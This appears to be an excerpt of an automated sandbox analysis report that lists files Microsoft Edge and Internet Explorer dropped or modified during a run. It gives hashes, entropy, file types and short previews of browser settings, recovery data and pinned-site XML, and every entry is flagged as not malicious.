SHA-256:	F2658B1C913A96E75B45E6ADB464C8D796B34AC43BAF1635AA32E16D1752971C
SHA-512:	45F1E909599E2F63372867BC359CF72FD846619DFEB5359E52D5700E0B1BCFFE5FF07606511A3BFFDDD933A0507195439457E4E29A49EB6451F26186B7240041
Malicious:	false
Preview:	.......murmur3.....IN...9.......0..X..#l....C....]......pv..E..........,..?.N?....V..B-..F.1....g\|..._.>'.-(V... .=.7P.m....#}.r.....>.LE...G.A.h5........J..=..L^-.Zl++,..h..o.y..~j.]u...W...&s.........M..........h3b..[.5.]..V^w.........a....6g3..%.gy../{\|Z.B..X.}5.]..t.1.H&B.[.).$Y......2....L.t...{...[WE.yy.]..e.v0..\.J3..T.`1Lnh.../..-=w...W.&N7.nz.P...z......'i..R6....../....t.[..&-.....T&l..e....$.8.."....Iq....J.v..\|.6.M...zE...a9uw..'.$6.L..m$......NB).JL.G.7}8(`....J.)b.E.m...c.0I.V...\|$....;.k.......8v..l.:..@.F.........K..2...%(...kA......LJd~._A.N.....$3...5....Z"...X=.....%.........6.k.....F..1..l,ia..i.i....y.M..Cl........}.I..r..-+=b.6....%...#...W..K.....=.F....~.....[.......-...../;....~.09..d.....GR..H.lR...m.Huh9.:..A H./)..D.F..Y.n7.....7D.O.a;>Z.K....w...sq..qo3N...8@.zpD.Ku......+.Z=.zNFgP._@.z.ic.......3.....+..j...an%...X..7.q..A.l.7.S2..+....1.s.b..z...@v..!.y...N.C.XQ.p.\..x8(.<.....cq.(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	3.5724312513221195
Encrypted:	false
SSDEEP:	3:kDnaV6bVon:kDYa2
MD5:	5692162977B015E31D5F35F50EFAB9CF
SHA1:	705DC80E8B32AC8B68F7E13CF8A75DCCB251ED7D
SHA-256:	42CCB5159B168DBE5D5DDF026E5F7ED3DBF50873CFE47C7C3EF0677BB07B90D4
SHA-512:	32905A4CC5BCE0FE8502DDD32096F40106625218BEDC4E218A344225D6DF2595A7B70EEB3695DCEFDD894ECB2B66BED479654E8E07F02526648E07ACFE47838C
Malicious:	false
Preview:	edgeSettings_2.0-0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3581
Entropy (8bit):	4.459693941095613
Encrypted:	false
SSDEEP:	96:JTMhnytNaSA4BOsNQNhnUZTFGKDIWHCgL5tfHaaJzRHF+P1sYmnfHUdT+GWBH7Y/:KyMot7vjFU
MD5:	BDE38FAE28EC415384B8CFE052306D6C
SHA1:	3019740AF622B58D573C00BF5C98DD77F3FBB5CD
SHA-256:	1F4542614473AE103A5EE3DEEEC61D033A40271CFF891AAA6797534E4DBB4D20
SHA-512:	9C369D69298EBF087412EDA782EE72AFE5448FD0D69EA5141C2744EA5F6C36CDF70A51845CDC174838BAC0ADABDFA70DF6AEDBF6E7867578AE7C4B7805A8B55E
Malicious:	false
Preview:	{"models":[],"geoidMaps":{"gw_my":"https://malaysia.smartscreen.microsoft.com/","gw_tw":"https://taiwan.smartscreen.microsoft.com/","gw_at":"https://austria.smartscreen.microsoft.com/","gw_es":"https://spain.smartscreen.microsoft.com/","gw_pl":"https://poland.smartscreen.microsoft.com/","gw_se":"https://sweden.smartscreen.microsoft.com/","gw_kr":"https://southkorea.smartscreen.microsoft.com/","gw_br":"https://brazil.smartscreen.microsoft.com/","au":"https://australia.smartscreen.microsoft.com/","dk":"https://denmark.smartscreen.microsoft.com/","gw_sg":"https://singapore.smartscreen.microsoft.com/","gw_fr":"https://france.smartscreen.microsoft.com/","gw_ca":"https://canada.smartscreen.microsoft.com/","test":"https://eu-9.smartscreen.microsoft.com/","gw_il":"https://israel.smartscreen.microsoft.com/","gw_au":"https://australia.smartscreen.microsoft.com/","gw_ffl4mod":"https://unitedstates4.ss.wd.microsoft.us/","gw_ffl4":"https://unitedstates1.ss.wd.microsoft.us/","gw_eu":"https://europe.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.493433469104717
Encrypted:	false
SSDEEP:	3:kfKbQSQSuLA5:kyUc5
MD5:	3F90757B200B52DCF5FDAC696EFD3D60
SHA1:	569A2E1BED9ECCDF7CD03E270AEF2BD7FF9B0E77
SHA-256:	1EE63F0A3502CFB7DF195FABBA41A7805008AB2CCCDAEB9AF990409D163D60C8
SHA-512:	39252BBAA33130DF50F36178A8EAB1D09165666D8A229FBB3495DD01CBE964F87CD2E6FCD479DFCA36BE06309EF18FEDA7F14722C57545203BBA24972D4835C8
Malicious:	false
Preview:	synchronousLookupUris_636976985063396749.rel.v2

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_636976985063396749.rel.v2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35302
Entropy (8bit):	7.99333285466604
Encrypted:	true
SSDEEP:	768:rRhaFePY38QBsj61g3g01LXoDGPpgb8KbMcnjrQCckBuJyqk3x8cBBT:rLP+TBK6ZQLXSsaMcnHQQcox80
MD5:	0E06E28C3536360DE3486B1A9E5195E8
SHA1:	EB768267F34EC16A6CCD1966DCA4C3C2870268AB
SHA-256:	F2658B1C913A96E75B45E6ADB464C8D796B34AC43BAF1635AA32E16D1752971C
SHA-512:	45F1E909599E2F63372867BC359CF72FD846619DFEB5359E52D5700E0B1BCFFE5FF07606511A3BFFDDD933A0507195439457E4E29A49EB6451F26186B7240041
Malicious:	false
Preview:	.......murmur3.....IN...9.......0..X..#l....C....]......pv..E..........,..?.N?....V..B-..F.1....g\|..._.>'.-(V... .=.7P.m....#}.r.....>.LE...G.A.h5........J..=..L^-.Zl++,..h..o.y..~j.]u...W...&s.........M..........h3b..[.5.]..V^w.........a....6g3..%.gy../{\|Z.B..X.}5.]..t.1.H&B.[.).$Y......2....L.t...{...[WE.yy.]..e.v0..\.J3..T.`1Lnh.../..-=w...W.&N7.nz.P...z......'i..R6....../....t.[..&-.....T&l..e....$.8.."....Iq....J.v..\|.6.M...zE...a9uw..'.$6.L..m$......NB).JL.G.7}8(`....J.)b.E.m...c.0I.V...\|$....;.k.......8v..l.:..@.F.........K..2...%(...kA......LJd~._A.N.....$3...5....Z"...X=.....%.........6.k.....F..1..l,ia..i.i....y.M..Cl........}.I..r..-+=b.6....%...#...W..K.....=.F....~.....[.......-...../;....~.09..d.....GR..H.lR...m.Huh9.:..A H./)..D.F..Y.n7.....7D.O.a;>Z.K....w...sq..qo3N...8@.zpD.Ku......+.Z=.zNFgP._@.z.ic.......3.....+..j...an%...X..7.q..A.l.7.S2..+....1.s.b..z...@v..!.y...N.C.XQ.p.\..x8(.<.....cq.(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.389669793590032
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQOn:YQ3Kq9X0dMgAEiLIMn
MD5:	03B6D5E81A4DC4D4E6C27BE1E932B9D9
SHA1:	3C5EF0615314BDB136AB57C90359F1839BDD5C93
SHA-256:	73B017F7C5ECD629AD41D14147D53F7D3D070C5967E1E571811A6DB39F06EACC
SHA-512:	0037EB23CCDBDDE93CFEB7B9A223D59D0872D4EC7F5E3CA4F7767A7301E96E1AF1175980DC4F08531D5571AFB94DF789567588DEB2D6D611C57EE4CC05376547
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":15}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d30984c7-fdf8-471b-a55f-937d31d66a0d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	9424
Entropy (8bit):	5.822576891181307
Encrypted:	false
SSDEEP:	192:fsNw9m1wCeiRUH96g1mEx1RikjW+v96qRAq1k8SPxVLZ7VTiB:fsNw41w4+96YXDRhjZ96q3QxVNZTiB
MD5:	A07F48FF8CBE59E3CF9FE9E340FE2611
SHA1:	18C10DB992BDED404429127DD9A537DF738ABE2B
SHA-256:	00B6D34FEA992B6322888A081872602AB3CA5C2174BFD041FBE20300803328DD
SHA-512:	2D58E93CB773017C133D5AAA721535D68A660728BDD87C54211E32D2B4AE0736216B14CBAE1AB732DEDBD583FCB455CF99663679EA10B143E37A6C8910285521
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"oem_bookmarks_set":true,"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f5df4853-f75e-4cf1-af8a-7cc9d551b9f5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	21874
Entropy (8bit):	6.060850913872469
Encrypted:	false
SSDEEP:	384:OBtMkaMJH2m8qVT8IeQ0I5t0b9MEFdsNwp1wJ+L06aRyj4T35ub/Y3jFd474W:UMkbJrT8IeQc5dNypoj4L5uTY3Jg
MD5:	7B513FB210C6094C0AB8202FC440C3BE
SHA1:	21A37A05991869AEEE6D1498E5AF23BA41DD682E
SHA-256:	85D6ADF1900D682159306717C6D36F4EA1711D75DE44EF33B2CBE7544F2B0191
SHA-512:	F7DEB15D6DAB810CF138DE454C1E7BD351E0021FE8BC087FB7DBC123B061DD01475CDB99416DCDD131C6FCA5BB7E0D38A018591DEB5368B07F24D4D269A0490D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13379780575703241","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\fb3b3876-0393-4cac-9ace-933650704876.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8251
Entropy (8bit):	5.804296117861918
Encrypted:	false
SSDEEP:	192:fsNA9m1wCeiRUHq6ajRBkje6qRAq1k8SPxVLZ7VTiQ:fsNA41w4+q6QRyje6q3QxVNZTiQ
MD5:	33549A9D2A01B26EFB9AC75DDA34DB39
SHA1:	8DACAA9C321BC1605C74902E74C0000A7725A658
SHA-256:	16EC24F5A1A98427BB7C2C0C3AC2B8CD962B8AB89E4D4798D5D71B8C466D0077
SHA-512:	34FD9795F0D2FDC9555DB726CEB5BA1722AB14106A432244A044203B960890798C80DE5CDCF9B449E3D2CE9D6F52500D1ADA8FFBB712850350A35B2313141243
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Ve

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	49120
Entropy (8bit):	0.0017331682157558962
Encrypted:	false
SSDEEP:	3:Ztt:T
MD5:	0392ADA071EB68355BED625D8F9695F3
SHA1:	777253141235B6C6AC92E17E297A1482E82252CC
SHA-256:	B1313DD95EAF63F33F86F72F09E2ECD700D11159A8693210C37470FCB84038F7
SHA-512:	EF659EEFCAB16221783ECB258D19801A1FF063478698CF4FCE3C9F98059CA7B1D060B0449E6FD89D3B70439D9735FA1D50088568FF46C9927DE45808250AEC2E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\RecoveryStore.{856608C6-C458-11EF-8C2C-ECF4BBEA1588}.dat

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	5632
Entropy (8bit):	2.0494793009913765
Encrypted:	false
SSDEEP:	24:rDGo/Qb6XHGW/X6Xa6X8D6X69lW8229lW82B:rDGo4uXGWCns2z82n82
MD5:	7D023F6EBEC269B62C6100D262B763F1
SHA1:	6703A063BBF489993925F038E9A00A4F9FE1E3C2
SHA-256:	B4E3B8C484F75F31E4E5F89C2E9B30A2D9DF123414EF0E3584A33EF1CF52FE50
SHA-512:	E0C749044DFF2F3679611F5E921F163CAB32F38E93B5C6317753523D39623025B1A2DD400BA301FE913F3392E9385ED9B5A99ADBC7E5BDD4DBD80025887A849F
Malicious:	false
Preview:	......................>.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y..........................................................................................o-HeX................K.j.j.a.q.f.a.j.N.2.c.0.u.z.g.v.1.l.4.q.y.5.n.f.W.e...........8...............................................................F.r.a.m.e.L.i.s.t.......................................................................................................0.......O._.T.S.x.w.h.m.h.V.j.E.7.x.G.M.L.O.z.0.u.+.o.V.i.A.=.=.........:.......................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\{856608C8-C458-11EF-8C2C-ECF4BBEA1588}.dat

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	15872
Entropy (8bit):	3.615062398860399
Encrypted:	false
SSDEEP:	192:WWJVDB8N6UxVXxVsxVBAxVhxVYWV+ZsSxVsxVBAxVhxVbauzKGvyzKGvdxVwzKG/:p8lpuPKPePrqb7G
MD5:	798127AB42A727C8AFF8B00C62F5E705
SHA1:	FCA716C69EBD81CBF272999BB8E8C9309C49BA07
SHA-256:	A050AC66005A9C81306D51ACE16E6576E3BEA5D05C23391DE630B1B35CAF54A2
SHA-512:	7D158A31392B454AD08687E312A71625EDAE51178540EBA0FB02ACCD5982BA7AF5A8109DA6313920483E796DABE74913B1265AE44EDEDE1C01F92ADE3CC0C68C
Malicious:	false
Preview:	......................>.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y..........................................................................................\|.aeX................K.j.j.a.q.f.a.j.N.2.c.0.u.z.g.v.1.l.4.q.y.5.n.f.W.e...........8.......................................................p.......T.r.a.v.e.l.L.o.g...............................................................................................................T.L.0...................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{74BCE0AC-C458-11EF-8C2C-ECF4BBEA1588}.dat

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	5632
Entropy (8bit):	2.047321194916461
Encrypted:	false
SSDEEP:	24:rpoGo/QYXgGW/0XvVX8YVX69lW8jp19lW8jp:rpoGo4YQGWcfVsYVz8jpA8jp
MD5:	081D393700BD7A9B3A60C2127D327AB7
SHA1:	75B16131AC734FB729EAAAA4193959B2F98FF5CA
SHA-256:	F863915B7DFA5355B5EC81ABC0EB8B8F5954C1C03685BB88560452D4C222E978
SHA-512:	00AE0660122EF5B8AE0DA64E8519E058113C5B2E6B05467323B2A9CC6645949DFF50FBFBE67F3AD8C36CAC944DA1D1AAF5270DAA2B32EDCBFBAFA469DFDA07F4
Malicious:	false
Preview:	......................>.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.........................................................................................p.E8eX................K.j.j.a.q.f.a.j.N.2.c.0.u.z.g.v.1.l.4.q.y.5.n.f.W.e...........8...............................................................F.r.a.m.e.L.i.s.t.......................................................................................................0.......O._.T.S.r.e.C.8.d.F.j.E.7.x.G.M.L.O.z.0.u.+.o.V.i.A.=.=.........:.......................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{7B49E2D2-C458-11EF-8C2C-ECF4BBEA1588}.dat

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	5632
Entropy (8bit):	2.051053111413494
Encrypted:	false
SSDEEP:	48:r8Go4bqGWfKsTz84OQfP5Pj84OQ5rP5P:7bWKwz84OQfP5Pj84OQ5rP5P
MD5:	C6039B161EE2FE03898B71DACDA590B1
SHA1:	47979DA04FAB74E86025B5792D3A35643B4373FF
SHA-256:	5EA42FBC5FD3B29B27E6FE56E42F041E42D120F5427372ED6A484BD14DFFBD26
SHA-512:	635BD9A69E770C3E1A34712FCEC3770FD1895B5A3ECDC5EB9DEC42CB1BAC792121512A110E78FC681564A972768763ED8E770F70BF45DC930D1C2E2420224D5D
Malicious:	false
Preview:	......................>.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y............................................................................................>eX................K.j.j.a.q.f.a.j.N.2.c.0.u.z.g.v.1.l.4.q.y.5.n.f.W.e...........8...............................................................F.r.a.m.e.L.i.s.t.......................................................................................................0.......O._.T.S.0.+.J.J.e.1.j.E.7.x.G.M.L.O.z.0.u.+.o.V.i.A.=.=.........:.......................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{74BCE0AE-C458-11EF-8C2C-ECF4BBEA1588}.dat

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	14848
Entropy (8bit):	3.6369253493902742
Encrypted:	false
SSDEEP:	192:pIKdqJ5+0CxE5R6+0CxtvZovkbXf5zKsv67KzKsv68Dy:pzEYoZg2XB1S7K1S8G
MD5:	E6646FA3F874F034E95F92B67E359BA8
SHA1:	CF5353C15D80D5B5060F48BB4501CBB1DE662635
SHA-256:	BF795CFEE0DBEAD06820DF2B0E70F4235BACF9D512AABF2F2676418284CA38A8
SHA-512:	6907213A6E86A6DFB3220F9D8BF932A3294C970A9D8A245B3223C8B7C62CD4F1BAC7CE5F43103A531033338A26577DAF3B0BA90DB551A47E3D84C239E5CD2560
Malicious:	false
Preview:	......................>.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y......................................................................................... ..UeX......@.........K.j.j.a.q.f.a.j.N.2.c.0.u.z.g.v.1.l.4.q.y.5.n.f.W.e...........8.......................................................P.......T.r.a.v.e.l.L.o.g...............................................................................................................T.L.0...................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{7B49E2D4-C458-11EF-8C2C-ECF4BBEA1588}.dat

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	14336
Entropy (8bit):	3.619841916846344
Encrypted:	false
SSDEEP:	192:eqoNzP5+0CxEHP6+0CxtvZIkbXf0R2zK1vNKzK1vo:rK8oZI2XVsVKsg
MD5:	A454A7E76646E440DE5C2D3E21BC39AD
SHA1:	60A2CF4FE5F357F98222BB014F49E2A5AC159DED
SHA-256:	07B18479819FC561123E5F8CBA05794701B4021E075EDD20CF297449034D11F3
SHA-512:	ACCCFE900E1AAE0B6D5AC90D07E58228BE9DDEA57FDE9F42DEE9A22B9690CF3C0E8DCFB788B406F4E8FEE51A30748E6BAFC33B9B5FAFAC7FC0E81574A76573F3
Malicious:	false
Preview:	......................>.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.........................................................................................p..UeX......@.........K.j.j.a.q.f.a.j.N.2.c.0.u.z.g.v.1.l.4.q.y.5.n.f.W.e...........8.......................................................P.......T.r.a.v.e.l.L.o.g...............................................................................................................T.L.0...................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-17529550060\msapplication.xml

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (313), with CRLF line terminators
Category:	dropped
Size (bytes):	355
Entropy (8bit):	5.130496763568825
Encrypted:	false
SSDEEP:	6:TMVBdc9EMdLD5Ltqc41E2gBoTOVgBoTw4TD90/QL3WIZK0QhPPwGVDHkEtMjwu:TMHdNMNxOE2EoUEoFnWimI00OYGVbkEs
MD5:	B2AEA042638F68F2417C6631D5E3443E
SHA1:	16332514189F6D7E34E4C5CDDF33090A6D4B784A
SHA-256:	C0B3FE49B946A380C467C8A5151BC306378305FB9A08DD8C869F9C3B684B79CC
SHA-512:	73DB74180267E6F8736FACFE980786AB637498E38EB163E3BA5D5860EFD6F8A03B923C6F389E5E7EBAF1B167D89FE411A895FB40DABF380ED278CCAA38C0BD8D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x553bc9c6,0x01db5865</date><accdate>0x553bc9c6,0x01db5865</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Twitter.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-18270793970\msapplication.xml

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (311), with CRLF line terminators
Category:	dropped
Size (bytes):	353
Entropy (8bit):	5.204585443510763
Encrypted:	false
SSDEEP:	6:TMVBdc9EMdLD5Ltqc4fLGTkRoTO2oTw4TD90/QL3WIZK0QhPPwGkI5kU5EtMjwu:TMHdNMNxe2kKgFnWimI00OYGkak6EtMb
MD5:	53ACB56FFD0C2F1C25A28A423F34BC63
SHA1:	0D202A816192BC77B480098B2126B6E9C13974D5
SHA-256:	0DB8F37F5D94360B2B17F6D4A3B45B351292C9B128497E1E25E733EC79D448CC
SHA-512:	E381123F01D5569506A02E56CFB76C8B8475E47813C54CE15E0E8EB979A9AD5871745BBEB4AE6DE6D7DA89C1A38283C415FF39D69F74112C2AFF35E88E33DAF8
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0x5534a279,0x01db5865</date><accdate>0x5534a279,0x01db5865</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Amazon.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-21706820\msapplication.xml

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (317), with CRLF line terminators
Category:	dropped
Size (bytes):	359
Entropy (8bit):	5.148797146195673
Encrypted:	false
SSDEEP:	6:TMVBdc9EMdLD5Ltqc4GLEoTOjoTw4TD90/QL3WIZK0QhPPwGyhBcEEtMjwu:TMHdNMNxvLEomoFnWimI00OYGmZEtMb
MD5:	303547C59D17F364279C89816A19986C
SHA1:	77CFAD4F4424F89A530B28CC279358BEC17687B2
SHA-256:	F87F4CB375BE0740DE76238C3C39C32016B826A387C367F287B166CD45A7EA6A
SHA-512:	0A6E9CB1F7FB18322B0494ED89703B02F315F63738D18653EB68219DB44609FCC26BCB4AC1B91F8F065426716B98F985B12B88B31AE050FF30534B3165A1FD95
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0x553e2be6,0x01db5865</date><accdate>0x553e2be6,0x01db5865</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Wikipedia.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-314712940\msapplication.xml

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (334), with CRLF line terminators
Category:	dropped
Size (bytes):	376
Entropy (8bit):	5.222042998724625
Encrypted:	false
SSDEEP:	6:TMVBdc9EMdLD5Ltq08eDPOOKaihMgoTOLvTw4TD90/QL3WIZK0QhPPwGcE5EtMjv:TMHdNMNxtDPOOKaBIFnWimI00OYGcE5t
MD5:	DE62DCF3C09ED085C23B04D30D558BC2
SHA1:	468AC40CE0338D06C484BE454928AD90F30F622E
SHA-256:	B5FC977C364683505DCF0C4D0098A05629A266ABEA9A1AF83EF0C15EB9CB2E87
SHA-512:	49C3D1B89B546D7CB2D4D2F060B43D33C2A3DC7E28CBE5CA8F281B2DC451775714288D871D50274365C3FA3043A3A894B60FBF9B2EEAA49786D6A7C3F2EA0268
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://go.microsoft.com/fwlink/p/?LinkId=255142"/><date>0x5534a279,0x01db5865</date><accdate>0x55370507,0x01db5865</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Bing.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-4759708130\msapplication.xml

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (307), with CRLF line terminators
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.181964303056735
Encrypted:	false
SSDEEP:	6:TMVBdc9EMdLD5Ltqc4JnRsTOgRsTw4TD90/QL3WIZK0QhPPwGgE5EtMjwu:TMHdNMNxiRsjsFnWimI00OYGd5EtMb
MD5:	4AADBEBD73DCB9ACBF9038F4C6C18E01
SHA1:	FB80231DFC7E33D6B90A0D1028AFDA6868A44556
SHA-256:	E34B579F788FBAAA2B98A4536FC99CBA26606CFCC361966E5AC469BB7EECC3D2
SHA-512:	E15DAB7BDEEAD06715D5A79FA33E9B52D87A9A01D260BEC881F990425FD09FEA97A069A06AEDBD96C46A7A4AB92F148A8D57554B77BD39FBBCE4D8687313E22E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0x55396745,0x01db5865</date><accdate>0x55396745,0x01db5865</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Live.url"/></tile></msapplication></browserconfig>..

